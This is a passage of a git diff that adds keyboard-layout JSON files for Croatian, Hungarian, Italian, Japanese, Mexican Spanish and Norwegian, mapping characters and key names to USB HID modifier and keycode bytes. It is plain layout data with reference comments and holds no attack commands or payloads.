0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "[":"00,00,2f", + "]":"00,00,30", + "#":"00,00,31", + ";":"00,00,33", + "'":"00,00,34", + "`":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "/":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "\\":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "^":"02,00,23", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + "{":"02,00,2f", + "}":"02,00,30", + "~":"02,00,31", + ":":"02,00,33", + "@":"02,00,34", + "<":"02,00,36", + ">":"02,00,37", + "?":"02,00,38", + "|":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} \ No newline at end of file diff --git a/languages/hr.json b/languages/hr.json new file mode 100644 index 0000000..ba1acd7 --- /dev/null +++ b/languages/hr.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,2e", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "*":"02,00,2e", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "{":"40,00,05", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "COMMAND-CTRL-SHIFT":"40,00,24", + "COMMAND-CTRL":"40,00,24", + "COMMAND-OPTION-SHIFT'":"40,00,24" +} \ No newline at end of file diff --git a/languages/hu.json b/languages/hu.json new file mode 100644 index 0000000..71cae1f --- /dev/null +++ b/languages/hu.json @@ -0,0 +1,187 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Hungarian QWERTZ language made by Skeleton022", + "__comment":" Added áéíóöőúüűÁÉÍÓÖŐÚÜŰ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "ö":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "ü":"00,00,2d", + "ó":"00,00,2e", + "ő":"00,00,2f", + "ú":"00,00,30", + "ű":"00,00,31", + "é":"00,00,33", + "á":"00,00,34", + "0":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "í":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "'":"02,00,1e", + "\"":"02,00,1f", + "+":"02,00,20", + "!":"02,00,21", + "%":"02,00,22", + "/":"02,00,23", + "=":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "Ö":"02,00,27", + "Ü":"02,00,2d", + "Ó":"02,00,2e", + "Ő":"02,00,2f", + "Ú":"02,00,30", + "Ű":"02,00,31", + "É":"02,00,33", + "Á":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "Í":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00", + "{":"40,00,05", + "&":"40,00,06", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "#":"40,00,1b", + ">":"40,00,1d", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "$":"40,00,33", + ";":"40,00,36", + "*":"40,00,38", + "<":"40,00,64" +} diff --git a/languages/it.json b/languages/it.json new file mode 100644 index 0000000..e6f90a5 --- /dev/null +++ b/languages/it.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,30", + "\\":"00,00,35", + "`":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "^":"02,00,2e", + "*":"02,00,30", + "|":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "[":"40,00,2f", + "]":"40,00,30", + "@":"40,00,33", + "#":"40,00,34", + "~":"40,00,34", + "{":"42,00,2f", + "}":"42,00,30", + "COMMAND-CTRL-SHIFT":"40,00,30", + "COMMAND-CTRL":"40,00,30", + "COMMAND-OPTION-SHIFT'":"40,00,30" +} diff --git a/languages/jp.json b/languages/jp.json new file mode 100644 index 0000000..9c3506f --- /dev/null +++ b/languages/jp.json @@ -0,0 +1,172 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "CTRL-ALT": "05,00,00", + "CTRL-SHIFT": "03,00,00", + "ALT-SHIFT": "06,00,00", + "__comment": "Below 5 key combinations are for Mac OSX", + "__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal", + "COMMAND": "08,00,00", + "COMMAND-CTRL": "09,00,00", + "COMMAND-CTRL-SHIFT": "0B,00,00", + "COMMAND-OPTION": "0C,00,00", + "COMMAND-OPTION-SHIFT": "0E,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,0c", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "1": "00,00,1e", + "!": "02,00,1e", + "2": "00,00,1f", + "\"": "02,00,1f", + "3": "00,00,20", + "#": "02,00,20", + "4": "00,00,21", + "$": "02,00,21", + "5": "00,00,22", + "%": "02,00,22", + "6": "00,00,23", + "&": "02,00,23", + "7": "00,00,24", + "'": "02,00,24", + "8": "00,00,25", + "(": "02,00,25", + "9": "00,00,26", + ")": "02,00,26", + "0": "00,00,27", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "ALT-TAB": "04,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2d", + "=": "02,00,2d", + "^": "00,00,2e", + "~": "02,00,2e", + "@": "00,00,2f", + "`": "02,00,2f", + "[": "00,00,30", + "{": "02,00,30", + "\\": "00,00,31", + "|": "02,00,31", + "]": "00,00,32", + "}": "02,00,32", + ";": "00,00,33", + "+": "02,00,33", + ":": "00,00,34", + "*": "02,00,34", + ",": "00,00,36", + "<": "02,00,36", + ".": "00,00,37", + ">": "02,00,37", + "/": "00,00,38", + "?": "02,00,38", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} diff --git a/languages/mx.json b/languages/mx.json new file mode 100644 index 0000000..299638e --- /dev/null +++ b/languages/mx.json @@ -0,0 +1,177 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "¿":"00,00,2e", + "´":"00,00,2f", + "+":"00,00,30", + "}":"00,00,31", + "ñ":"00,00,33", + "{":"00,00,34", + "|":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "¡":"02,00,2e", + "¨":"02,00,2f", + "*":"02,00,30", + "]":"02,00,31", + "Ñ":"02,00,33", + "[":"02,00,34", + "°":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "\\":"05,00,2d", + "~":"05,00,30", + "`":"05,00,31", + "^":"05,00,34", + "¬":"05,00,35", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT":"12,00,00", + "@":"40,00,14" +} diff --git a/languages/no.json b/languages/no.json new file mode 100644 index 0000000..6db1c2c --- /dev/null +++ b/languages/no.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + 